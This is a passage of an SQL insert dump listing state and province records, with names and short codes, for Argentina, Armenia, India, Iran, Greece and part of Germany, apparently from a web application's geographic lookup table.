'COD', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (379, 1, 10, 0, 'Corrientes', 'CRI', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (380, 1, 10, 0, 'Entre Rios', 'ERS', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (381, 1, 10, 0, 'Formosa', 'FRM', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (382, 1, 10, 0, 'Jujuy', 'JUJ', 'JU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (383, 1, 10, 0, 'La Pampa', 'LPM', 'LP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (384, 1, 10, 0, 'La Rioja', 'LRI', 'LR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (385, 1, 10, 0, 'Mendoza', 'MED', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (386, 1, 10, 0, 'Misiones', 'MIS', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (387, 1, 10, 0, 'Neuquen', 'NQU', 'NQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (388, 1, 10, 0, 'Rio Negro', 'RNG', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (389, 1, 10, 0, 'Salta', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (390, 1, 10, 0, 'San Juan', 'SJN', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (391, 1, 10, 0, 'San Luis', 'SLU', 'SL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (392, 1, 10, 0, 'Santa Cruz', 'SCZ', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (393, 1, 10, 0, 'Santa Fe', 'SFE', 'SF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (394, 1, 10, 0, 'Santiago Del Estero', 'SEN', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (395, 1, 10, 0, 'Tierra Del Fuego', 'TFE', 'TF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (396, 1, 10, 0, 'Tucuman', 'TUC', 'TU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (397, 1, 11, 0, 'Aragatsotn', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (398, 1, 11, 0, 'Ararat', 'ARR', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (399, 1, 11, 0, 'Armavir', 'ARM', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (400, 1, 11, 0, 'Gegharkunik', 'GEG', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (401, 1, 11, 0, 'Kotayk', 'KOT', 'KT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (402, 1, 11, 0, 'Lori', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (403, 1, 11, 0, 'Shirak', 'SHI', 'SH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (404, 1, 11, 0, 'Syunik', 'SYU', 'SU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (405, 1, 11, 0, 'Tavush', 'TAV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (406, 1, 11, 0, 'Vayots-Dzor', 'VAD', 'VD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (407, 1, 11, 0, 'Yerevan', 'YER', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (408, 1, 99, 0, 'Andaman & Nicobar Islands', 'ANI', 'AI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (409, 1, 99, 0, 'Andhra Pradesh', 'AND', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (410, 1, 99, 0, 'Arunachal Pradesh', 'ARU', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (411, 1, 99, 0, 'Assam', 'ASS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (412, 1, 99, 0, 'Bihar', 'BIH', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (413, 1, 99, 0, 'Chandigarh', 'CHA', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (414, 1, 99, 0, 'Chhatisgarh', 'CHH', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (415, 1, 99, 0, 'Dadra & Nagar Haveli', 'DAD', 'DD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (416, 1, 99, 0, 'Daman & Diu', 'DAM', 'DA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (417, 1, 99, 0, 'Delhi', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (418, 1, 99, 0, 'Goa', 'GOA', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (419, 1, 99, 0, 'Gujarat', 'GUJ', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (420, 1, 99, 0, 'Haryana', 'HAR', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (421, 1, 99, 0, 'Himachal Pradesh', 'HIM', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (422, 1, 99, 0, 'Jammu & Kashmir', 'JAM', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (423, 1, 99, 0, 'Jharkhand', 'JHA', 'JH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (424, 1, 99, 0, 'Karnataka', 'KAR', 'KA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (425, 1, 99, 0, 'Kerala', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (426, 1, 99, 0, 'Lakshadweep', 'LAK', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (427, 1, 99, 0, 'Madhya Pradesh', 'MAD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (428, 1, 99, 0, 'Maharashtra', 'MAH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (429, 1, 99, 0, 'Manipur', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (430, 1, 99, 0, 'Meghalaya', 'MEG', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (431, 1, 99, 0, 'Mizoram', 'MIZ', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (432, 1, 99, 0, 'Nagaland', 'NAG', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (433, 1, 99, 0, 'Orissa', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (434, 1, 99, 0, 'Pondicherry', 'PON', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (435, 1, 99, 0, 'Punjab', 'PUN', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (436, 1, 99, 0, 'Rajasthan', 'RAJ', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (437, 1, 99, 0, 'Sikkim', 'SIK', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (438, 1, 99, 0, 'Tamil Nadu', 'TAM', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (439, 1, 99, 0, 'Tripura', 'TRI', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (440, 1, 99, 0, 'Uttaranchal', 'UAR', 'UA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (441, 1, 99, 0, 'Uttar Pradesh', 'UTT', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (442, 1, 99, 0, 'West Bengal', 'WES', 'WE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (443, 1, 101, 0, 'Ahmadi va Kohkiluyeh', 'BOK', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (444, 1, 101, 0, 'Ardabil', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (445, 1, 101, 0, 'Azarbayjan-e Gharbi', 'AZG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (446, 1, 101, 0, 'Azarbayjan-e Sharqi', 'AZS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (447, 1, 101, 0, 'Bushehr', 'BUS', 'BU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (448, 1, 101, 0, 'Chaharmahal va Bakhtiari', 'CMB', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (449, 1, 101, 0, 'Esfahan', 'ESF', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (450, 1, 101, 0, 'Fars', 'FAR', 'FA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (451, 1, 101, 0, 'Gilan', 'GIL', 'GI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (452, 1, 101, 0, 'Gorgan', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (453, 1, 101, 0, 'Hamadan', 'HAM', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (454, 1, 101, 0, 'Hormozgan', 'HOR', 'HO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (455, 1, 101, 0, 'Ilam', 'ILA', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (456, 1, 101, 0, 'Kerman', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (457, 1, 101, 0, 'Kermanshah', 'BAK', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (458, 1, 101, 0, 'Khorasan-e Junoubi', 'KHJ', 'KJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (459, 1, 101, 0, 'Khorasan-e Razavi', 'KHR', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (460, 1, 101, 0, 'Khorasan-e Shomali', 'KHS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (461, 1, 101, 0, 'Khuzestan', 'KHU', 'KH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (462, 1, 101, 0, 'Kordestan', 'KOR', 'KO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (463, 1, 101, 0, 'Lorestan', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (464, 1, 101, 0, 'Markazi', 'MAR', 'MR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (465, 1, 101, 0, 'Mazandaran', 'MAZ', 'MZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (466, 1, 101, 0, 'Qazvin', 'QAS', 'QA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (467, 1, 101, 0, 'Qom', 'QOM', 'QO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (468, 1, 101, 0, 'Semnan', 'SEM', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (469, 1, 101, 0, 'Sistan va Baluchestan', 'SBA', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (470, 1, 101, 0, 'Tehran', 'TEH', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (471, 1, 101, 0, 'Yazd', 'YAZ', 'YA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (472, 1, 101, 0, 'Zanjan', 'ZAN', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (535, 1, 84, 0, 'ΛΕΥΚΑΔΑΣ', 'ΛΕΥ', 'ΛΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (532, 1, 84, 0, 'ΛΑΡΙΣΑΣ', 'ΛΑΡ', 'ΛΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (504, 1, 84, 0, 'ΑΡΚΑΔΙΑΣ', 'ΑΡΚ', 'ΑΚ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (503, 1, 84, 0, 'ΑΡΓΟΛΙΔΑΣ', 'ΑΡΓ', 'ΑΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (533, 1, 84, 0, 'ΛΑΣΙΘΙΟΥ', 'ΛΑΣ', 'ΛΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (534, 1, 84, 0, 'ΛΕΣΒΟΥ', 'ΛΕΣ', 'ΛΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (530, 1, 84, 0, 'ΚΥΚΛΑΔΩΝ', 'ΚΥΚ', 'ΚΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (553, 1, 84, 0, 'ΑΙΤΩΛΟΑΚΑΡΝΑΝΙΑΣ', 'ΑΙΤ', 'ΑΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (529, 1, 84, 0, 'ΚΟΡΙΝΘΙΑΣ', 'ΚΟΡ', 'ΚΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (531, 1, 84, 0, 'ΛΑΚΩΝΙΑΣ', 'ΛΑΚ', 'ΛK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (517, 1, 84, 0, 'ΗΜΑΘΙΑΣ', 'ΗΜΑ', 'ΗΜ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (518, 1, 84, 0, 'ΗΡΑΚΛΕΙΟΥ', 'ΗΡΑ', 'ΗΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (519, 1, 84, 0, 'ΘΕΣΠΡΩΤΙΑΣ', 'ΘΕΠ', 'ΘΠ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (520, 1, 84, 0, 'ΘΕΣΣΑΛΟΝΙΚΗΣ', 'ΘΕΣ', 'ΘΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (521, 1, 84, 0, 'ΙΩΑΝΝΙΝΩΝ', 'ΙΩΑ', 'ΙΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (522, 1, 84, 0, 'ΚΑΒΑΛΑΣ', 'ΚΑΒ', 'ΚΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (523, 1, 84, 0, 'ΚΑΡΔΙΤΣΑΣ', 'ΚΑΡ', 'ΚΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (524, 1, 84, 0, 'ΚΑΣΤΟΡΙΑΣ', 'ΚΑΣ', 'ΚΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (525, 1, 84, 0, 'ΚΕΡΚΥΡΑΣ', 'ΚΕΡ', 'ΚΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (526, 1, 84, 0, 'ΚΕΦΑΛΛΗΝΙΑΣ', 'ΚΕΦ', 'ΚΦ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (527, 1, 84, 0, 'ΚΙΛΚΙΣ', 'ΚΙΛ', 'ΚΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (528, 1, 84, 0, 'ΚΟΖΑΝΗΣ', 'ΚΟΖ', 'ΚZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (507, 1, 84, 0, 'ΑΧΑΪΑΣ', 'ΑΧΑ', 'ΑΧ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (508, 1, 84, 0, 'ΒΟΙΩΤΙΑΣ', 'ΒΟΙ', 'ΒΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (509, 1, 84, 0, 'ΓΡΕΒΕΝΩΝ', 'ΓΡΕ', 'ΓΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (510, 1, 84, 0, 'ΔΡΑΜΑΣ', 'ΔΡΑ', 'ΔΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (511, 1, 84, 0, 'ΔΩΔΕΚΑΝΗΣΟΥ', 'ΔΩΔ', 'ΔΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (512, 1, 84, 0, 'ΕΒΡΟΥ', 'ΕΒΡ', 'ΕΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (513, 1, 84, 0, 'ΕΥΒΟΙΑΣ', 'ΕΥΒ', 'ΕΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (514, 1, 84, 0, 'ΕΥΡΥΤΑΝΙΑΣ', 'ΕΥΡ', 'ΕΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (515, 1, 84, 0, 'ΖΑΚΥΝΘΟΥ', 'ΖΑΚ', 'ΖΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (516, 1, 84, 0, 'ΗΛΕΙΑΣ', 'ΗΛΕ', 'ΗΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (505, 1, 84, 0, 'ΑΡΤΑΣ', 'ΑΡΤ', 'ΑΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (506, 1, 84, 0, 'ΑΤΤΙΚΗΣ', 'ΑΤΤ', 'ΑΤ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (536, 1, 84, 0, 'ΜΑΓΝΗΣΙΑΣ', 'ΜΑΓ', 'ΜΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (537, 1, 84, 0, 'ΜΕΣΣΗΝΙΑΣ', 'ΜΕΣ', 'ΜΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (538, 1, 84, 0, 'ΞΑΝΘΗΣ', 'ΞΑΝ', 'ΞΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (539, 1, 84, 0, 'ΠΕΛΛΗΣ', 'ΠΕΛ', 'ΠΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (540, 1, 84, 0, 'ΠΙΕΡΙΑΣ', 'ΠΙΕ', 'ΠΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (541, 1, 84, 0, 'ΠΡΕΒΕΖΑΣ', 'ΠΡΕ', 'ΠΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (542, 1, 84, 0, 'ΡΕΘΥΜΝΗΣ', 'ΡΕΘ', 'ΡΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (543, 1, 84, 0, 'ΡΟΔΟΠΗΣ', 'ΡΟΔ', 'ΡΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (544, 1, 84, 0, 'ΣΑΜΟΥ', 'ΣΑΜ', 'ΣΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (545, 1, 84, 0, 'ΣΕΡΡΩΝ', 'ΣΕΡ', 'ΣΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (546, 1, 84, 0, 'ΤΡΙΚΑΛΩΝ', 'ΤΡΙ', 'ΤΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (547, 1, 84, 0, 'ΦΘΙΩΤΙΔΑΣ', 'ΦΘΙ', 'ΦΘ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (548, 1, 84, 0, 'ΦΛΩΡΙΝΑΣ', 'ΦΛΩ', 'ΦΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (549, 1, 84, 0, 'ΦΩΚΙΔΑΣ', 'ΦΩΚ', 'ΦΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (550, 1, 84, 0, 'ΧΑΛΚΙΔΙΚΗΣ', 'ΧΑΛ', 'ΧΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (551, 1, 84, 0, 'ΧΑΝΙΩΝ', 'ΧΑΝ', 'ΧΝ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (552, 1, 84, 0, 'ΧΙΟΥ', 'ΧΙΟ', 'ΧΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (569, 1, 81, 0, 'Schleswig-Holstein', 'SHO', 'SH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (554, 1, 81, 0, 'Freie und Hansestadt Hamburg', 'HAM', 'HH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (555, 1, 81, 0, 'Niedersachsen', 'NIS', 'NI', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (556, 1, 81, 0, 'Freie Hansestadt Bremen', 'HBR', 'HB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (557, 1, 81, 0, 'Nordrhein-Westfalen', 'NRW', 'NW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (558, 1, 81, 0, 'Hessen', 